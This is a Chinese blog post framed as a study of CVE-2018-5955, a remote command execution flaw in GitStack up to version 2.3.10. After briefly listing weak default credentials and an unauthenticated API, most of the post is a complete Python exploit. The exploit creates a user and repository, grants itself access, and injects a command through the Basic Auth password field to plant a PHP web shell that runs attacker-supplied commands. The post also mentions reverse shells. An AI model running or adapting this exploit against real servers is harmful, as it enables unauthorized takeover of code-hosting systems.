GitStack系统RCE漏洞学习
漏洞简介
漏洞简情
- 漏洞程序 GitStack
- 影响版本 <=2.3.10
- 漏洞类型 RCE
- 漏洞评价 高危
- 漏洞编号 CVE-2018-5955
漏洞程序介绍
GitStack是一款基于Python(Django框架)和PHP的win平台下的git可视化平台。它存在很多问题,下面简单介绍一下所有的背景安全问题。这些背景安全问题将导致RCE漏洞的利用。
背景安全问题
默认弱口令admin/admin,以及口令提示
debug模式开启,泄露敏感信息
https://a.b.c.d/rest/settings/general/admin/
可以获取足够的有效信息
API未授权访问
举例如下:
RCE漏洞利用思路以及EXP
先利用未授权的api创建用户,然后利用未授权的api创建项目,然后把用户加入项目中。
我们来看EXP的代码部分:
def __userCheck(self):
'''用户检查'''
url = '%s/rest/user/'%self.target
try:
usersJson = requests.get(url, verify=False).json()
except Exception, reason:
print '[-] 连接GitStackAPI失败'
exit(0)
try:
usersJson.remove('admin')
usersJson.remove('eyeryone')
except Exception, reason:
pass
if len(usersJson) > 0 and 'pentest' in usersJson:
self.user = 'pentest'
print '[+] 发现可用账户:',self.user
else:
try:
response = requests.post(url, data={'username':'pentest', 'password':'pentest'}, verify=False)
except Exception, reason:
print '[-] 创建用户失败'
exit(0)
if 'User created' not in response.text:
print '[-] 创建用户失败'
exit(0)
else:
print '[+] 创建用户成功'
self.user = 'pentest'
def __repositoryCheck(self):
'''项目检查'''
url = '%s/rest/repository/'%self.target
try:
repositoryJson = requests.get(url, verify=False).json()
except Exception, reason:
print '[-] 连接GitStackAPI失败'
exit(0)
if repositoryJson:
repository = repositoryJson[0]['name']
print '[+] 发现可用项目:',repository
self.repository = repository
else:
try:
response = requests.post(url, cookies={'csrftoken':'pentest'}, data={'name':'pentestgit', 'csrfmiddlewaretoken':'pentest'})
except Exception, reason:
print '[-] 创建项目失败'
exit(0)
if 'successfully create repository' not in response.text:
print '[-] 创建项目失败'
exit(0)
else:
print '[+] 创建项目成功'
self.repository = 'pentestgit'
def __permissionCheck(self):
'''权限检查'''
url = url = '%s/rest/repository/%s'%(self.target,self.repository)
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 权限检查失败'
exit(0)
users = response.json()['user_write_list']
flag = False
if len(users) > 0:
if self.user in [x['username'] for x in users]:
print '[+] 权限检查成功'
flag = True
if not flag:
url = '%s/rest/repository/%s/user/%s/'%(self.target, self.repository, self.user)
try:
response = requests.post(url, verify=False)
except Exception, reason:
print '[-] 加载权限失败'
exit(0)
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 验证权限失败'
exit(0)
if 'true' in response.text:
print '[+] 权限加载成功'
else:
print '[-] 权限验证失败'
exit(0)
然后访问index.php,在访问index.php的时候访问该项目的时候回对用户名密码进行验证,这个地方使用的HttpBasicAuth进行验证,在password字段存在RCE漏洞,可有在这个地方构造Payload利用执行,然后就可以写入一句话,菜刀连接也好,反弹shell也好,创建用户名密码远程登录也好,都可以操作了。
def __attack(self):
'''攻击尝试'''
url = '%s/web/index.php?p=%s.git&a=summary'%(self.target, self.repository)
try:
response = requests.get(url, auth=HTTPBasicAuth(self.user, self.payload), verify=False)
except Exception, reason:
print '[-] 攻击失败'
exit(0)
url = '%s/web/gitstack.php'%self.target
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 验证攻击失败'
exit(0)
if response.status_code == 200:
print '[+] 攻击成功'
else:
print '[-] 尝试访问无效,攻击失败'
exit(0)
完整代码如下:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
'''
CVE-2018-5955 GitStack<= 2.3.10 远程命令执行漏洞 EXP 改进版
借鉴POC作者:CaijiOrz(GitHub账号)
作者:b0b@c
使用:仅限于学习、交流、公司内部使用
'''
import requests
from optparse import OptionParser
from requests.auth import HTTPBasicAuth
class Exploitor(object):
'''Rce漏洞利用器'''
def __init__(self, target, abusepath='c:\\GitStack\\gitphp', payload=None):
'''Rce漏洞利用器创建'''
self.target = target
self.abusepath = abusepath
if payload == None:
self.payload = "p && echo ^<?php echo @system($_POST['cmd']) ?^> > %s\\gitstack.php"%self.abusepath
else:
self.payload = "p && echo ^<?php %s ?^> > %s\\gitstack.php"%(self.payload, self.abusepath)
def __userCheck(self):
'''用户检查'''
url = '%s/rest/user/'%self.target
try:
usersJson = requests.get(url, verify=False).json()
except Exception, reason:
print '[-] 连接GitStackAPI失败'
exit(0)
try:
usersJson.remove('admin')
usersJson.remove('eyeryone')
except Exception, reason:
pass
if len(usersJson) > 0 and 'pentest' in usersJson:
self.user = 'pentest'
print '[+] 发现可用账户:',self.user
else:
try:
response = requests.post(url, data={'username':'pentest', 'password':'pentest'}, verify=False)
except Exception, reason:
print '[-] 创建用户失败'
exit(0)
if 'User created' not in response.text:
print '[-] 创建用户失败'
exit(0)
else:
print '[+] 创建用户成功'
self.user = 'pentest'
def __repositoryCheck(self):
'''项目检查'''
url = '%s/rest/repository/'%self.target
try:
repositoryJson = requests.get(url, verify=False).json()
except Exception, reason:
print '[-] 连接GitStackAPI失败'
exit(0)
if repositoryJson:
repository = repositoryJson[0]['name']
print '[+] 发现可用项目:',repository
self.repository = repository
else:
try:
response = requests.post(url, cookies={'csrftoken':'pentest'}, data={'name':'pentestgit', 'csrfmiddlewaretoken':'pentest'})
except Exception, reason:
print '[-] 创建项目失败'
exit(0)
if 'successfully create repository' not in response.text:
print '[-] 创建项目失败'
exit(0)
else:
print '[+] 创建项目成功'
self.repository = 'pentestgit'
def __permissionCheck(self):
'''权限检查'''
url = url = '%s/rest/repository/%s'%(self.target,self.repository)
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 权限检查失败'
exit(0)
users = response.json()['user_write_list']
flag = False
if len(users) > 0:
if self.user in [x['username'] for x in users]:
print '[+] 权限检查成功'
flag = True
if not flag:
url = '%s/rest/repository/%s/user/%s/'%(self.target, self.repository, self.user)
try:
response = requests.post(url, verify=False)
except Exception, reason:
print '[-] 加载权限失败'
exit(0)
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 验证权限失败'
exit(0)
if 'true' in response.text:
print '[+] 权限加载成功'
else:
print '[-] 权限验证失败'
exit(0)
def __attack(self):
'''攻击尝试'''
url = '%s/web/index.php?p=%s.git&a=summary'%(self.target, self.repository)
try:
response = requests.get(url, auth=HTTPBasicAuth(self.user, self.payload), verify=False)
except Exception, reason:
print '[-] 攻击失败'
exit(0)
url = '%s/web/gitstack.php'%self.target
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 验证攻击失败'
exit(0)
if response.status_code == 200:
print '[+] 攻击成功'
else:
print '[-] 尝试访问无效,攻击失败'
exit(0)
def attack(self):
'''攻击过程'''
self.__userCheck()
self.__repositoryCheck()
self.__permissionCheck()
self.__attack()
if __name__ == '__main__':
parser = OptionParser()
parser.add_option("-t", "--target", dest="target", help="Set Target")
parser.add_option("-p", "--payload", dest="payload", help="Set Payload")
parser.add_option("-f", "--filepath", dest="filepath", help="Set FilePath")
(options, args) = parser.parse_args()
if options.target in [None,'']:
print '[-] 请输入目标URL'
exit(0)
else:
if options.payload == None and options.filepath == None:
attacker = Exploitor(options.target)
elif options.payload != None and options.filepath == None:
attacker = Exploitor(options.target, payload=options.payload)
elif options.payload == None and options.filepath != None:
attacker = Exploitor(options.target, abusepath=options.filepath)
elif options.payload != None and options.filepath != None:
attacker = Exploitor(options.target, abusepath=options.filepath, payload=options.payload)
attacker.attack()
鸣谢
参考项目 https://github.com/CaijiOrz/exploits/blob/master/GitStack_2.3.10_Unauthenticated_RCE.py
参考博客 https://xz.aliyun.com/t/2235
GitStack系统RCE漏洞学习的更多相关文章
- CVE-2019-8341 Jinja2 RCE漏洞学习
漏洞简述 漏洞简介 Jinja2.10版本,Environment的实例方法from_string,存在RCE,该函数在内部实现逻辑中,存在exec函数去执行了,from_string函数参数中的ji ...
- spark未授权RCE漏洞学习
Spark简介 spark是一个实现快速通用的集群计算平台.它是由加州大学伯克利分校AMP实验室 开发的通用内存并行计算框架,用来构建大型的.低延迟的数据分析应用程序.它扩展了广泛使用的MapRedu ...
- 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”
简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...
- Apache Solr JMX服务 RCE 漏洞复现
Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...
- PWN二进制漏洞学习指南
目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...
- Windows XP与Windows 7系统常见漏洞
1.Windows XP系统常见漏洞 Windows XP系统常见的漏洞有UPNP服务漏洞.升级程序漏洞.帮助和支持中心漏洞.压缩文件夹漏洞.服务拒绝漏洞.Windows Media Player漏洞 ...
- XSS漏洞学习笔记
XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...
- ThinkPHP-5.0.23新的RCE漏洞测试和POC
TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...
- Zimbra无需登录RCE漏洞利用
2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞 ...
随机推荐
- 移动端H5地图离线瓦片方案(1)(2)
2在作者另一篇 移动端H5地图离线瓦片方案 文章版权由作者李晓晖和博客园共有,若转载请于明显处标明出处:http://www.cnblogs.com/naaoveGIS/ 1.背景 移动端的网速和 ...
- lakala GradientBoostedTrees
/** * Created by lkl on 2017/12/6. */ import org.apache.spark.mllib.evaluation.BinaryClassificationM ...
- sp_replication_agent_checkup
Transact-SQL 参考sp_replication_agent_checkup 检查每个分发数据库的复制代理程序,这些复制代理程序正在运行但在指定的心跳信号间隔内没有历史记录.此存储过程在分发 ...
- HTML5 FileReader
利用HTML5中的FileReader类,动态切换af中Panel的背景,动态设置img元素的图片 1 if(FileReader){ 2 $('.panel').on("tap" ...
- Java SQL注入学习笔记
1 简介 文章主要内容包括: Java 持久层技术/框架简单介绍 不同场景/框架下易导致 SQL 注入的写法 如何避免和修复 SQL 注入 2 JDBC 介绍 JDBC: 全称 Java Databa ...
- debian、ubuntu:使用apt包管理器可能存在的问题! 让新手望而却步!
apt包管理器说好真好,说不好真不好. 最近在debian9.ubuntu18.04上安装oracle 10g 玩. 怎么都准备不好安装环境.原因就是i386构架体系的deb包总安装不正确! baid ...
- python中如何将字符串连接在一起,多倍的字符串如何输出
说明: 在python中,如果有多个字符串,想要连接在一起,或者说想要拼接在一起该如何操作,在此记录下. 操作过程: 1.通过 + 这个加号操作符,将字符串拼接在一起 >>> &qu ...
- mysql初始化时报错bin/mysqld: error while loading shared libraries: libnuma.so.1: cannot open shared object file: No such file or directory的处理
问题描述: 今天新安装了一个linux虚拟机,然后安装mysql 5.7.21,在进行初始化的时候,报错 bin/mysqld: error : cannot open shared object f ...
- linux中通过awk进行文本的对齐格式化处理?awk printf左对齐?
需求描述: 今天在对一个从excel文件中粘出来的内容进行整理的时候,发现格式很乱,就想用awk工具格式化一下,在此记录一下. 操作过程: 1.从excel中复制出来的内容 job_name j ...
- javascript消除字符串两边空格的两种方式,面向对象和函数式编程。python oop在调用时候的优点
主要是javascript中消除字符串空格,比较两种方式的不同 //面向对象,消除字符串两边空格 String.prototype.trim = function() { return this.re ...